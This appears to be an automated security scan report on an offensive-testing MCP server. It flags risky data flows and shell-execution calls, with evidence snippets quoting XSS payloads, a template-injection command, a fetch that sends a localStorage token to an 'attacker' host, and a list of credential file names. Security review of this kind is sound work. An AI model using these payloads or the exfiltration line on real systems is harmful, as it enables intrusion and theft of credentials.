Operant MCP Server

Tools that read sensitive data ([volatility_linux, volatility_windows]) and tools that can send data out ([role_escalation_test, pcap_extract_credentials, raw_connection_reuse, recon_directory_bruteforce, nuclei_scan]) are exposed together. An agent can move private data to the sink.

Evidence: sources [volatility_linux, volatility_windows] → sinks [role_escalation_test, pcap_extract_credentials, raw_connection_reuse, recon_directory_bruteforce, nuclei

Fix: Keep secret-reading and egress capabilities on separate, separately-approved servers.

Location: flow volatility_linux → role_escalation_test

In the server's implementation (`dist/tools/recon.js:355`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: .sql", "database.sql", "id_rsa", "secret.txt", ]; const readable = []; for (const f of sensitive

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/tools/recon.js

In the server's implementation (`dist/tools/xss.js:114`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: "<img src=x onerror=eval(atob('YWxlcnQoMSk='))>", "<img src=x onerror=window['al'+'ert'](1)>",

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/tools/xss.js

In the server's implementation (`dist/prompts.js:413`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ado: \`{% import os %}{{os.popen("id").read()}}\` ## Phase 7: SSRF Testing 22. For URL/redirect parameters: - Run \

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/prompts.js

In the server's implementation (`dist/resources.js:287`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ortSwigger) - Node.js \`child_process.fork()\` reads \`execArgv\` from the options object; if not explicitly set, it inh

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/resources.js

In the server's implementation (`dist/runner.js:4`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: File, exec } from "node:child_process"; import { promisify } from "node:util"; import { execSync } from "node:child_proc

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/runner.js

In the server's implementation (`dist/tools/memory.js:11`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: { execSync } from "node:child_process"; export function register(server) { function validateDump(dumpPath) {

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/tools/memory.js

In the server's implementation (`dist/prompts.js:301`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ft from localStorage: \`fetch('https://attacker/steal?t='+localStorage.getItem('token'))\` - Keylogging: \`document.onke

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/prompts.js

In the server's implementation (`dist/resources.js:1087`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ploit: \`\`\`javascript fetch('https://target.com/api/sensitive-data', { credentials: 'include' }).then(r => r.json())

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/resources.js

In the server's implementation (`dist/runner.js:93`): A shell/process command assembled from concatenated or interpolated values is command injection when any part is attacker-influenced — the OWASP canonical RCE flow. Verify what reaches the interpolated value. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: { const path = execSync(`which ${name}`, { encoding: "utf-8" }).trim(); if (!path) throw ne

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/runner.js

In the server's implementation (`dist/tools/memory.js:23`): A shell/process command assembled from concatenated or interpolated values is command injection when any part is attacker-influenced — the OWASP canonical RCE flow. Verify what reaches the interpolated value. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: const result = execSync(`which ${name}`, { encoding: "utf-8" }).trim(); if (result)

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server dist/tools/memory.js